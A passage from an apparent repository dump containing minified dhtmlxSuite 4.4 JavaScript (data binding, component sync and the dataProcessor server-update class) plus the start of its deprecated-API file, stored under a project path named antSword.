a={};a[g]=c;if(h._check_data_feed(c)){h.setValues(a)}}else{h.data.silent(function(){this.filter(g,c)})}}h.callEvent(\"onBindApply\",[c,g,this])}};dhx.RecordBind={$init:function(){this.attachEvent(\"onChange\",this._update_binds)},_bind_update:function(e,c){var a=this.getValues()||null;this._bind_update_common(e,c,a)}};dhx.CollectionBind={$init:function(){this._cursor=null;this.attachEvent(\"onSelectChange\",function(c){var a=this.getSelected();this.setCursor(a?(a.id||a):null)});this.attachEvent(\"onAfterCursorChange\",this._update_binds);this.data.attachEvent(\"onStoreUpdated\",dhx.bind(function(e,a,c){if(e&&e==this.getCursor()&&c!=\"paint\"){this._update_binds()}},this));this.data.attachEvent(\"onClearAll\",dhx.bind(function(){this._cursor=null},this));this.data.attachEvent(\"onIdChange\",dhx.bind(function(c,a){if(this._cursor==c){this._cursor=a}},this))},setCursor:function(a){if(a==this._cursor||(a!==null&&!this.item(a))){return}this.callEvent(\"onBeforeCursorChange\",[this._cursor]);this._cursor=a;this.callEvent(\"onAfterCursorChange\",[a])},getCursor:function(){return this._cursor},_bind_update:function(e,c){var a=this.item(this.getCursor())||this._settings.defaultData||null;this._bind_update_common(e,c,a)}};if(!dhx.ui){dhx.ui={}}if(!dhx.ui.views){dhx.ui.views={};dhx.ui.get=function(a){if(a._settings){return a}return dhx.ui.views[a]}}dhtmlXDataStore=function(c){var e=new dhx.DataCollection(c);var a=\"_dp_init\";e[a]=function(h){var g=\"_methods\";h[g]=[\"dummy\",\"dummy\",\"changeId\",\"dummy\"];this.data._old_names={add:\"inserted\",update:\"updated\",\"delete\":\"deleted\"};this.data.attachEvent(\"onStoreUpdated\",function(n,l,m){if(n&&!h._silent){h.setUpdated(n,true,this._old_names[m])}});g=\"_getRowData\";h[g]=function(q,l){var n=this.obj.data.item(q);var o={id:q};o[this.action_param]=this.obj.getUserData(q);if(n){for(var m in n){o[m]=n[m]}}return o};this.changeId=function(m,l){this.data.changeId(m,l);h._silent=true;this.data.callEvent(\"onStoreUpdated\",[l,this.item(l),\"update\"]);h._silent=false};g=\"_clearUpdateFlag\";h[g]=function(){};this._userdata={}};e.dummy=function(){};e.setUserData=function(l,g,h){this._userdata[l]=h};e.getUserData=function(h,g){return this._userdata[h]};e.dataFeed=function(g){this.define(\"dataFeed\",g)};dhx.extend(e,dhx.BindSource);return e};if(window.dhtmlXDataView){dhtmlXDataView.prototype._initBindSource=function(){this.isVisible=function(){if(!this.data.order.length&&!this.data._filter_order&&!this._settings.dataFeed){return false}return true};var a=\"_settings\";this._settings=this._settings||this[a];if(!this._settings.id){this._settings.id=dhx.uid()}this.unbind=dhx.BaseBind.unbind;this.unsync=dhx.BaseBind.unsync;dhx.ui.views[this._settings.id]=this}}if(window.dhtmlXChart){dhtmlXChart.prototype._initBindSource=function(){this.isVisible=function(){if(!this.data.order.length&&!this.data._filtered_state&&!this._settings.dataFeed){return false}return true};var a=\"_settings\";this._settings=this._settings||this[a];if(!this._settings.id){this._settings.id=dhx.uid()}this.unbind=dhx.BaseBind.unbind;this.unsync=dhx.BaseBind.unsync;dhx.ui.views[this._settings.id]=this}}dhx.BaseBind.unsync=function(a){return dhx.BaseBind._unbind.call(this,a)};dhx.BaseBind.unbind=function(a){return dhx.BaseBind._unbind.call(this,a)};dhx.BaseBind.legacyBind=function(){return dhx.BaseBind.bind.apply(this,arguments)};dhx.BaseBind.legacySync=function(a,c){if(this._initBindSource){this._initBindSource()}if(a._initBindSource){a._initBindSource()}this.attachEvent(\"onAfterEditStop\",function(e){this.save(e);return true});this.attachEvent(\"onDataRequest\",function(h,g){for(var e=h;e<h+g;e++){if(!a.data.order[e]){a.loadNext(g,h);return false}}});this.save=function(l){if(!l){l=this.getCursor()}var h=this.item(l);var e=a.item(l);for(var g in h){if(g.indexOf(\"$\")!==0){e[g]=h[g]}}a.refresh(l)};if(a&&a.name==\"DataCollection\"){return a.data.sync.apply(this.data,arguments)}else{return this.data.sync.apply(this.data,arguments)}};if(window.dhtmlXForm){dhtmlXForm.prototype.bind=function(a){dhx.BaseBind.bind.apply(this,arguments);a.getBindData(this._settings.id)};dhtmlXForm.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXForm.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this}};dhtmlXForm.prototype._check_data_feed=function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.load(a);return false};dhtmlXForm.prototype.setValues=dhtmlXForm.prototype.setFormData;dhtmlXForm.prototype.getValues=function(){return this.getFormData(false,true)};dhtmlXForm.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXForm.prototype.refresh=dhtmlXForm.prototype.isVisible=function(a){return true}}if(window.scheduler){if(!window.Scheduler){window.Scheduler={}}Scheduler.$syncFactory=function(a){a.sync=function(e,h){if(this._initBindSource){this._initBindSource()}if(e._initBindSource){e._initBindSource()}var g=\"_process_loading\";var c=function(q){a.clearAll();var l=e.data.order;var o=e.data.pull;var m=[];for(var n=0;n<l.length;n++){if(h&&h.copy){m[n]=dhx.clone(o[l[n]])}else{m[n]=o[l[n]]}}a[g](m);a.callEvent(\"onSyncApply\",[])};this.save=function(n){if(!n){n=this.getCursor()}var m=this.item(n);var l=e.item(n);if(this.callEvent(\"onStoreSave\",[n,m,l])){dhx.extend(e.item(n),m,true);e.update(n)}};this.item=function(l){return this.getEvent(l)};this._sync_events=[e.data.attachEvent(\"onStoreUpdated\",function(n,l,m){c.call(this)}),e.data.attachEvent(\"onIdChange\",function(m,l){combo.changeOptionId(m,l)})];this.attachEvent(\"onEventChanged\",function(l){this.save(l)});this.attachEvent(\"onEventAdded\",function(m,l){if(!e.data.pull[m]){e.add(l)}});this.attachEvent(\"onEventDeleted\",function(l){if(e.data.pull[l]){e.remove(l)}});c()};a.unsync=function(c){dhx.BaseBind._unbind.call(this,c)};a._initBindSource=function(){if(!this._settings){this._settings={id:dhx.uid()}}}};Scheduler.$syncFactory(window.scheduler)}if(window.dhtmlXCombo){dhtmlXCombo.prototype.bind=function(){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXCombo.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXCombo.unsync=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXCombo.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXCombo.prototype.sync=function(c,g){if(this._initBindSource){this._initBindSource()}if(c._initBindSource){c._initBindSource()}var e=this;var a=function(h){e.clearAll();e.addOption(this.serialize());e.callEvent(\"onSyncApply\",[])};this._sync_events=[c.data.attachEvent(\"onStoreUpdated\",function(m,h,l){a.call(this)}),c.data.attachEvent(\"onIdChange\",function(l,h){e.changeOptionId(l,h)})];a.call(c)};dhtmlXCombo.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(a){a.call(this)},this)};dhx4._eventable(this.data);this.attachEvent(\"onChange\",function(){this.callEvent(\"onSelectChange\",[this.getSelectedValue()])});this.attachEvent(\"onXLE\",function(){this.callEvent(\"onBindRequest\",[])})}};dhtmlXCombo.prototype.item=function(a){return this.getOption(a)};dhtmlXCombo.prototype.getSelected=function(){return this.getSelectedValue()};dhtmlXCombo.prototype.isVisible=function(){if(!this.optionsArr.length&&!this._settings.dataFeed){return false}return true};dhtmlXCombo.prototype.refresh=function(){this.render(true)}}if(window.dhtmlXGridObject){dhtmlXGridObject.prototype.bind=function(a,e,c){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXGridObject.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXGridObject.prototype.unsync=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXGridObject.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXGridObject.prototype.sync=function(a,o){if(this._initBindSource){this._initBindSource()}if(a._initBindSource){a._initBindSource()}var c=this;var n=\"_parsing\";var e=\"_parser\";var l=\"_locator\";var g=\"_process_store_row\";var m=\"_get_store_data\";this.save=function(q){if(!q){q=this.getCursor()}dhx.extend(a.item(q),this.item(q),true);a.update(q)};var h=function(w){var s=c.getCursor?c.getCursor():null;var v=0;if(c._legacy_ignore_next){v=c._legacy_ignore_next;c._legacy_ignore_next=false}else{c.clearAll()}var r=this.dataCount();if(r){c[n]=true;for(var q=v;q<r;q++){var u=this.order[q];if(!u){continue}if(v&&c.rowsBuffer[q]){continue}c.rowsBuffer[q]={idd:u,data:this.pull[u]};c.rowsBuffer[q][e]=c[g];c.rowsBuffer[q][l]=c[m];c.rowsAr[u]=this.pull[u]}if(!c.rowsBuffer[r-1]){c.rowsBuffer[r-1]=dhtmlx.undefined;c.xmlFileUrl=c.xmlFileUrl||this.url}if(c.pagingOn){c.changePage()}else{if(c._srnd&&c._fillers){c._update_srnd_view()}else{c.render_dataset();c.callEvent(\"onXLE\",[])}}c[n]=false}if(s&&c.setCursor){c.setCursor(c.rowsAr[s]?s:null)}c.callEvent(\"onSyncApply\",[])};this._sync_events=[a.data.attachEvent(\"onStoreUpdated\",function(s,q,r){if(r==\"delete\"){c.deleteRow(s);c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{if(r==\"update\"){c.callEvent(\"onSyncUpdate\",[q,r]);c.update(s,q);c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{if(r==\"add\"){c.callEvent(\"onSyncUpdate\",[q,r]);c.add(s,q,this.indexById(s));c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{h.call(this)}}}}),a.data.attachEvent(\"onStoreLoad\",function(r,q){c.xmlFileUrl=a.data.url;c._legacy_ignore_next=r.getInfo(q)._from}),a.data.attachEvent(\"onIdChange\",function(r,q){c.changeRowId(r,q)})];c.attachEvent(\"onDynXLS\",function(s,r){for(var q=s;q<s+r;q++){if(!a.data.order[q]){a.loadNext(r,s);return false}}c._legacy_ignore_next=s;h.call(a.data)});h.call(a.data);c.attachEvent(\"onEditCell\",function(q,v,s,r,u){if(q==2&&r!=u){this.save(v)}return true});c.attachEvent(\"onClearAll\",function(){var q=\"_f_rowsBuffer\";this[q]=null});if(o&&o.sort){c.attachEvent(\"onBeforeSorting\",function(s,r,q){if(r==\"connector\"){return false}var u=this.getColumnId(s);a.sort(\"#\"+u+\"#\",(q==\"asc\"?\"asc\":\"desc\"),(r==\"int\"?r:\"string\"));c.setSortImgState(true,s,q);return false})}if(o&&o.filter){c.attachEvent(\"onFilterStart\",function(s,q){var r=\"_con_f_used\";if(c[r]&&c[r].length){return false}a.data.silent(function(){a.filter();for(var u=0;u<s.length;u++){if(q[u]==\"\"){continue}var v=c.getColumnId(s[u]);a.filter(\"#\"+v+\"#\",q[u],u!=0)}});a.refresh();return false});c.collectValues=function(q){var r=this.getColumnId(q);return(function(v){var s=[];var u={};this.data.each(function(x){var w=x[v];if(!u[w]){u[w]=true;s.push(w)}});s.sort();return s}).call(a,r)}}if(o&&o.select){c.attachEvent(\"onRowSelect\",function(q){a.setCursor(q)})}c.clearAndLoad=function(q){a.clearAll();a.load(q)}};dhtmlXGridObject.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(e){e.call(this)},this)};dhx4._eventable(this.data);var a=\"_cCount\";for(var c=0;c<this[a];c++){if(!this.columnIds[c]){this.columnIds[c]=\"cell\"+c}}this.attachEvent(\"onSelectStateChanged\",function(e){this.callEvent(\"onSelectChange\",[e])});this.attachEvent(\"onSelectionCleared\",function(){this.callEvent(\"onSelectChange\",[null])});this.attachEvent(\"onEditCell\",function(e,g){if(e===2&&this.getCursor){if(g&&g==this.getCursor()){this._update_binds()}}return true});this.attachEvent(\"onXLE\",function(){this.callEvent(\"onBindRequest\",[])})}};dhtmlXGridObject.prototype.item=function(l){if(l===null){return null}var h=this.getRowById(l);if(!h){return null}var a=\"_attrs\";var g=dhx.copy(h[a]);g.id=l;var e=this.getColumnsNum();for(var c=0;c<e;c++){g[this.columnIds[c]]=this.cells(l,c).getValue()}return g};dhtmlXGridObject.prototype.update=function(l,h){for(var g=0;g<this.columnIds.length;g++){var e=this.columnIds[g];if(!dhx.isUndefined(h[e])){this.cells(l,g).setValue(h[e])}}var c=\"_attrs\";var a=this.getRowById(l)[c];for(var e in h){a[e]=h[e]}this.callEvent(\"onBindUpdate\",[l])};dhtmlXGridObject.prototype.add=function(m,l,e){var a=[];for(var h=0;h<this.columnIds.length;h++){var g=this.columnIds[h];a[h]=dhx.isUndefined(l[g])?\"\":l[g]}this.addRow(m,a,e);var c=\"_attrs\";this.getRowById(m)[c]=dhx.copy(l)};dhtmlXGridObject.prototype.getSelected=function(){return this.getSelectedRowId()};dhtmlXGridObject.prototype.isVisible=function(){var a=\"_f_rowsBuffer\";if(!this.rowsBuffer.length&&!this[a]&&!this._settings.dataFeed){return false}return true};dhtmlXGridObject.prototype.refresh=function(){this.render_dataset()};dhtmlXGridObject.prototype.filter=function(l,h){if(this._settings.dataFeed){var g={};if(!l&&!h){return}if(typeof l==\"function\"){if(!h){return}l(h,g)}else{if(dhx.isUndefined(l)){g=h}else{g[l]=h}}this.clearAll();var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,h,g)}var e=[];for(var c in g){e.push(\"dhx_filter[\"+c+\"]=\"+encodeURIComponent(g[c]))}this.load(a+(a.indexOf(\"?\")<0?\"?\":\"&\")+e.join(\"&\"));return false}if(h===null){return this.filterBy(0,function(){return false})}this.filterBy(0,function(m,n){return l.call(this,n,h)})}}if(window.dhtmlXTreeObject){dhtmlXTreeObject.prototype.bind=function(){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXTreeObject.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXTreeObject.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXTreeObject.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(a){a.call(this)},this)};dhx4._eventable(this.data);this.attachEvent(\"onSelect\",function(a){this.callEvent(\"onSelectChange\",[a])});this.attachEvent(\"onEdit\",function(a,c){if(a===2){if(c&&c==this.getCursor()){this._update_binds()}}return true})}};dhtmlXTreeObject.prototype.item=function(a){if(a===null){return null}return{id:a,text:this.getItemText(a)}};dhtmlXTreeObject.prototype.getSelected=function(){return this.getSelectedItemId()};dhtmlXTreeObject.prototype.isVisible=function(){return true};dhtmlXTreeObject.prototype.refresh=function(){};dhtmlXTreeObject.prototype.filter=function(l,h){if(this._settings.dataFeed){var g={};if(!l&&!h){return}if(typeof l==\"function\"){if(!h){return}l(h,g)}else{if(dhx.isUndefined(l)){g=h}else{g[l]=h}}this.deleteChildItems(0);var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,[(data.id||data),data])}var e=[];for(var c in g){e.push(\"dhx_filter[\"+c+\"]=\"+encodeURIComponent(g[c]))}this.loadXML(a+(a.indexOf(\"?\")<0?\"?\":\"&\")+e.join(\"&\"));return false}};dhtmlXTreeObject.prototype.update=function(c,a){if(!dhx.isUndefined(a.text)){this.setItemText(c,a.text)}}}function dataProcessor(a){this.serverProcessor=a;this.action_param=\"!nativeeditor_status\";this.object=null;this.updatedRows=[];this.autoUpdate=true;this.updateMode=\"cell\";this._tMode=\"GET\";this._headers=null;this._payload=null;this.post_delim=\"_\";this._waitMode=0;this._in_progress={};this._invalid={};this.mandatoryFields=[];this.messages=[];this.styles={updated:\"font-weight:bold;\",inserted:\"font-weight:bold;\",deleted:\"text-decoration : line-through;\",invalid:\"background-color:FFE0E0;\",invalid_cell:\"border-bottom:2px solid red;\",error:\"color:red;\",clear:\"font-weight:normal;text-decoration:none;\"};this.enableUTFencoding(true);dhx4._eventable(this);if(this.connector_init){this.setTransactionMode(\"POST\",true);this.serverProcessor+=(this.serverProcessor.indexOf(\"?\")!=-1?\"&\":\"?\")+\"editing=true\"}return this}dataProcessor.prototype={setTransactionMode:function(c,a){if(typeof c==\"object\"){this._tMode=c.mode||this._tMode;this._headers=this._headers||c.headers;this._payload=this._payload||c.payload}else{this._tMode=c;this._tSend=a}if(this._tMode==\"REST\"){this._tSend=false;this._endnm=true}},escape:function(a){if(this._utf){return encodeURIComponent(a)}else{return escape(a)}},enableUTFencoding:function(a){this._utf=dhx4.s2b(a)},setDataColumns:function(a){this._columns=(typeof a==\"string\")?a.split(\",\"):a},getSyncState:function(){return !this.updatedRows.length},enableDataNames:function(a){this._endnm=dhx4.s2b(a)},enablePartialDataSend:function(a){this._changed=dhx4.s2b(a)},setUpdateMode:function(c,a){this.autoUpdate=(c==\"cell\");this.updateMode=c;this.dnd=a},ignore:function(c,a){this._silent_mode=true;c.call(a||window);this._silent_mode=false},setUpdated:function(g,e,h){if(this._silent_mode){return}var c=this.findRow(g);h=h||\"updated\";var a=this.obj.getUserData(g,this.action_param);if(a&&h==\"updated\"){h=a}if(e){this.set_invalid(g,false);this.updatedRows[c]=g;this.obj.setUserData(g,this.action_param,h);if(this._in_progress[g]){this._in_progress[g]=\"wait\"}}else{if(!this.is_invalid(g)){this.updatedRows.splice(c,1);this.obj.setUserData(g,this.action_param,\"\")}}if(!e){this._clearUpdateFlag(g)}this.markRow(g,e,h);if(e&&this.autoUpdate){this.sendData(g)}},_clearUpdateFlag:function(a){},markRow:function(l,e,h){var g=\"\";var c=this.is_invalid(l);if(c){g=this.styles[c];e=true}if(this.callEvent(\"onRowMark\",[l,e,h,c])){g=this.styles[e?h:\"clear\"]+g;this.obj[this._methods[0]](l,g);if(c&&c.details){g+=this.styles[c+\"_cell\"];for(var a=0;a<c.details.length;a++){if(c.details[a]){this.obj[this._methods[1]](l,a,g)}}}}},getState:function(a){return this.obj.getUserData(a,this.action_param)},is_invalid:function(a){return this._invalid[a]},set_invalid:function(e,c,a){if(a){c={value:c,details:a,toString:function(){return this.value.toString()}}}this._invalid[e]=c},checkBeforeUpdate:function(a){return true},sendData:function(a){if(this._waitMode&&(this.obj.mytype==\"tree\"||this.obj._h2)){return}if(this.obj.editStop){this.obj.editStop()}if(typeof a==\"undefined\"||this._tSend){return this.sendAllData()}if(this._in_progress[a]){return false}this.messages=[];if(this.getState(a)!==\"deleted\"){if(!this.checkBeforeUpdate(a)&&this.callEvent(\"onValidationError\",[a,this.messages])){return false}}this._beforeSendData(this._getRowData(a),a)},_beforeSendData:function(a,c){if(!this.callEvent(\"onBeforeUpdate\",[c,this.getState(c),a])){return false}this._sendData(a,c)},serialize:function(g,h){if(typeof g==\"string\"){return g}if(typeof h!=\"undefined\"){return this.serialize_one(g,\"\")}else{var a=[];var e=[];for(var c in g){if(g.hasOwnProperty(c)){a.push(this.serialize_one(g[c],c+this.post_delim));e.push(c)}}a.push(\"ids=\"+this.escape(e.join(\",\")));if(dhtmlx.security_key){a.push(\"dhx_security=\"+dhtmlx.security_key)}return a.join(\"&\")}},serialize_one:function(g,c){if(typeof g==\"string\"){return g}var a=[];for(var e in g){if(g.hasOwnProperty(e)){if((e==\"id\"||e==this.action_param)&&this._tMode==\"REST\"){continue}a.push(this.escape((c||\"\")+e)+\"=\"+this.escape(g[e]))}}return a.join(\"&\")},_sendData:function(h,l){if(!h){return}if(!this.callEvent(\"onBeforeDataSending\",l?[l,this.getState(l),h]:[null,null,h])){return false}if(l){this._in_progress[l]=(new Date()).valueOf()}var q=this;var o=function(s){var v=[];if(l){v.push(l)}else{if(h){for(var u in h){v.push(u)}}}return q.afterUpdate(q,s,v)};var c=this.serverProcessor+(this._user?(dhtmlx.url(this.serverProcessor)+[\"dhx_user=\"+this._user,\"dhx_version=\"+this.obj.getUserData(0,\"version\")].join(\"&\")):\"\");if(this._tMode==\"GET\"){dhx4.ajax.get(c+((c.indexOf(\"?\")!=-1)?\"&\":\"?\")+this.serialize(h,l),o)}else{if(this._tMode==\"POST\"){dhx4.ajax.post(c,this.serialize(h,l),o)}else{if(this._tMode==\"REST\"){var e=this.getState(l);var g=c.replace(/(\\&|\\?)editing\\=true/,\"\");var m=g.split(\"?\");if(m[1]){m[1]=\"?\"+m[1]}var n=\"\";var a=\"post\";if(e==\"inserted\"){n=this.serialize(h,l)}else{if(e==\"deleted\"){a=\"DELETE\";g=m[0]+l+(m[1]||\"\")}else{a=\"PUT\";n=this.serialize(h,l);g=m[0]+l+(m[1]||\"\")}}if(this._payload){for(var r in this._payload){g=g+(g.indexOf(\"?\")===-1?\"?\":\"&\")+this.escape(r)+\"=\"+this.escape(this._payload[r])}}dhx4.ajax.query({url:g,method:a,headers:this._headers,data:n,callback:o})}}}this._waitMode++},sendAllData:function(){if(!this.updatedRows.length){return}this.messages=[];var c=true;for(var a=0;a<this.updatedRows.length;a++){if(this.getState(this.updatedRows[a])!==\"deleted\"){c&=this.checkBeforeUpdate(this.updatedRows[a])}}if(!c&&!this.callEvent(\"onValidationError\",[\"\",this.messages])){return false}if(this._tSend){this._sendData(this._getAllData())}else{for(var a=0;a<this.updatedRows.length;a++){if(!this._in_progress[this.updatedRows[a]]){if(this.is_invalid(this.updatedRows[a])){continue}this._beforeSendData(this._getRowData(this.updatedRows[a]),this.updatedRows[a]);if(this._waitMode&&(this.obj.mytype==\"tree\"||this.obj._h2)){return}}}}},_getAllData:function(g){var c={};var a=false;for(var e=0;e<this.updatedRows.length;e++){var h=this.updatedRows[e];if(this._in_progress[h]||this.is_invalid(h)){continue}if(!this.callEvent(\"onBeforeUpdate\",[h,this.getState(h),this._getRowData(h)])){continue}c[h]=this._getRowData(h,h+this.post_delim);a=true;this._in_progress[h]=(new Date()).valueOf()}return a?c:null},setVerificator:function(c,a){this.mandatoryFields[c]=a||(function(e){return(e!==\"\")})},clearVerificator:function(a){this.mandatoryFields[a]=false},findRow:function(c){var a=0;for(a=0;a<this.updatedRows.length;a++){if(c==this.updatedRows[a]){break}}return a},defineAction:function(a,c){if(!this._uActions){this._uActions=[]}this._uActions[a]=c},afterUpdateCallback:function(c,m,l,h){var a=c;var g=(l!=\"error\"&&l!=\"invalid\");if(!g){this.set_invalid(c,l)}if((this._uActions)&&(this._uActions[l])&&(!this._uActions[l](h))){return(delete this._in_progress[a])}if(this._in_progress[a]!=\"wait\"){this.setUpdated(c,false)}var e=c;switch(l){case\"inserted\":case\"insert\":if(m!=c){this.obj[this._methods[2]](c,m);c=m}break;case\"delete\":case\"deleted\":this.obj.setUserData(c,this.action_param,\"true_deleted\");this.obj[this._methods[3]](c);delete this._in_progress[a];return this.callEvent(\"onAfterUpdate\",[c,l,m,h]);break}if(this._in_progress[a]!=\"wait\"){if(g){this.obj.setUserData(c,this.action_param,\"\")}delete this._in_progress[a]}else{delete this._in_progress[a];this.setUpdated(m,true,this.obj.getUserData(c,this.action_param))}this.callEvent(\"onAfterUpdate\",[e,l,m,h])},afterUpdate:function(o,n,a){if(window.JSON){try{var u=JSON.parse(n.xmlDoc.responseText);var h=u.action||this.getState(a)||\"updated\";var c=u.sid||a[0];var g=u.tid||a[0];o.afterUpdateCallback(c,g,h,u);o.finalizeUpdate();return}catch(q){}}var s=dhx4.ajax.xmltop(\"data\",n.xmlDoc);if(!s||s.tagName==\"DIV\"){return this.cleanUpdate(a)}var r=dhx4.ajax.xpath(\"//data/action\",s);if(!r.length){return this.cleanUpdate(a)}for(var m=0;m<r.length;m++){var l=r[m];var h=l.getAttribute(\"type\");var c=l.getAttribute(\"sid\");var g=l.getAttribute(\"tid\");o.afterUpdateCallback(c,g,h,l)}o.finalizeUpdate()},cleanUpdate:function(c){if(c){for(var a=0;a<c.length;a++){delete this._in_progress[c[a]]}}},finalizeUpdate:function(){if(this._waitMode){this._waitMode--}if((this.obj.mytype==\"tree\"||this.obj._h2)&&this.updatedRows.length){this.sendData()}this.callEvent(\"onAfterUpdateFinish\",[]);if(!this.updatedRows.length){this.callEvent(\"onFullSync\",[])}},init:function(a){this.obj=a;if(a._dp_init){a._dp_init(this)}if(this.connector_init){a._dataprocessor=this}},setOnAfterUpdate:function(a){this.attachEvent(\"onAfterUpdate\",a)},enableDebug:function(a){},setOnBeforeUpdateHandler:function(a){this.attachEvent(\"onBeforeDataSending\",a)},setAutoUpdate:function(e,c){e=e||2000;this._user=c||(new Date()).valueOf();this._need_update=false;this._update_busy=false;this.attachEvent(\"onAfterUpdate\",function(g,l,m,h){this.afterAutoUpdate(g,l,m,h)});this.attachEvent(\"onFullSync\",function(){this.fullSync()});var a=this;window.setInterval(function(){a.loadUpdate()},e)},afterAutoUpdate:function(a,e,g,c){if(e==\"collision\"){this._need_update=true;return false}else{return true}},fullSync:function(){if(this._need_update==true){this._need_update=false;this.loadUpdate()}return true},getUpdates:function(a,c){if(this._update_busy){return false}else{this._update_busy=true}dhx4.ajax.get(a,c)},_v:function(a){if(a.firstChild){return a.firstChild.nodeValue}return\"\"},_a:function(a){var e=[];for(var c=0;c<a.length;c++){e[c]=this._v(a[c])}return e},loadUpdate:function(){var c=this;var a=this.obj.getUserData(0,\"version\");var e=this.serverProcessor+dhtmlx.url(this.serverProcessor)+[\"dhx_user=\"+this._user,\"dhx_version=\"+a].join(\"&\");e=e.replace(\"editing=true&\",\"\");this.getUpdates(e,function(o){var q=dhx4.ajax.xmltop(\"updates\",o.xmlDoc);var l=dhx4.ajax.xpath(\"//userdata\",q);c.obj.setUserData(0,\"version\",c._v(l[0]));var g=dhx4.ajax.xpath(\"//update\",q);if(g.length){c._silent_mode=true;for(var m=0;m<g.length;m++){var h=g[m].getAttribute(\"status\");var s=g[m].getAttribute(\"id\");var n=g[m].getAttribute(\"parent\");switch(h){case\"inserted\":c.callEvent(\"insertCallback\",[g[m],s,n]);break;case\"updated\":c.callEvent(\"updateCallback\",[g[m],s,n]);break;case\"deleted\":c.callEvent(\"deleteCallback\",[g[m],s,n]);break}}c._silent_mode=false}c._update_busy=false;c=null})}};if(window.dataProcessor&&!dataProcessor.prototype.init_original){dataProcessor.prototype.connector_init=true};"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/dhtmlx_deprecated.js",
    "content": "/*\nProduct Name: dhtmlxSuite \nVersion: 4.4 \nEdition: Standard \nLicense: content of this file is covered by GPL. Usage outside GPL terms is prohibited. To obtain Commercial or Enterprise license contact sales@dhtmlx.com\nCopyright UAB Dinamenta http://www.dhtmlx.com\n*/\n\ndhtmlXCalendarObject.prototype.draw=function(){this.show()};dhtmlXCalendarObject.prototype.close=function(){this.hide()};dhtmlXCalendarObject.prototype.setYearsRange=function(){};dhtmlXCombo.prototype.loadXML=function(a,b){this.load(a,b)};dhtmlXCombo.prototype.loadXMLString=function(a){this.load(a)};dhtmlXCombo.prototype.enableOptionAutoHeight=function(){};dhtmlXCombo.prototype.enableOptionAutoPositioning=function(){};dhtmlXCombo.prototype.enableOptionAutoWidth=function(){};dhtmlXCombo.prototype.destructor=function(){this.unload()};dhtmlXCombo.prototype.render=function(){};dhtmlXCombo.prototype.setOptionHeight=function(){};dhtmlXCombo.prototype.attachChildCombo=function(){};dhtmlXCombo.prototype.setAutoSubCombo=function(){};window.dhtmlXColorPickerInput=function(){return dhtmlXColorPicker.apply(window,arguments)};dhtmlXColorPicker.prototype.init=function(){};dhtmlXColorPicker.prototype.setOnSelectHandler=function(a){if(typeof a==\"function\"){this.attachEvent(\"onSelect\",a)}};dhtmlXColorPicker.prototype.setOnCancelHandler=function(a){if(typeof a==\"function\"){this.attachEvent(\"onCancel\",a)}};dhtmlXColorPicker.prototype._mergeLangModules=function(){if(typeof dhtmlxColorPickerLangModules!=\"object\"){return}for(var a in dhtmlxColorPickerLangModules){this.i18n[a]=dhtmlxColorPickerLangModules[a]}};window.dhtmlxColorPickerLangModules=dhtmlXColorPicker.prototype.i18n;dhtmlXColorPicker.prototype.close=function(){this.hide()};dhtmlXColorPicker.prototype.setImagePath=function(a){};dhtmlXMenuObject.prototype.loadXML=function(a,b){this.loadStruct(a,b)};dhtmlXMenuObject.prototype.loadXMLString=function(b,a){this.loadStruct(b,a)};dhtmlXMenuObject.prototype.setIconPath=function(a){this.setIconsPath(a)};dhtmlXMenuObject.prototype.setImagePath=function(){};dhtmlXToolbarObject.prototype.loadXML=function(a,b){this.loadStruct(a,b)};dhtmlXToolbarObject.prototype.loadXMLString=function(b,a){this.loadStruct(b,a)};dhtmlXToolbarObject.prototype.setIconPath=function(a){this.setIconsPath(a)};dhtmlXTreeObject.prototype.addPath=function(b,e,c,h){this.activatePaths();c=c||{};var d=[];var g=null;var f=this._idpull[e];var a=this._idpull[b];while(a!=g){d.push({open:this._getOpenState(f),from:f.id,size:(g?this._getIndex(g):0),to:(g?g.id:null),style:\"border-left:\"+(c.width||1)+\"px \"+(c.mode||\"solid\")+\" \"+(c.color||\"red\")+\"; border-bottom:\"+(c.width||1)+\"px \"+(c.mode||\"solid\")+\" \"+(c.color||\"red\")+\";\"});g=f;f=f.parentObject}while(!h||this._pathspull[h]){h=(h||0)+1}this._pathspull[h]={path:d,id:h};this._paths.push(this._pathspull[h]);this._renderPath(this._pathspull[h])};dhtmlXTreeObject.prototype.activatePaths=function(a){var b=this;this.attachEvent(\"onOpenEnd\",function(){for(var 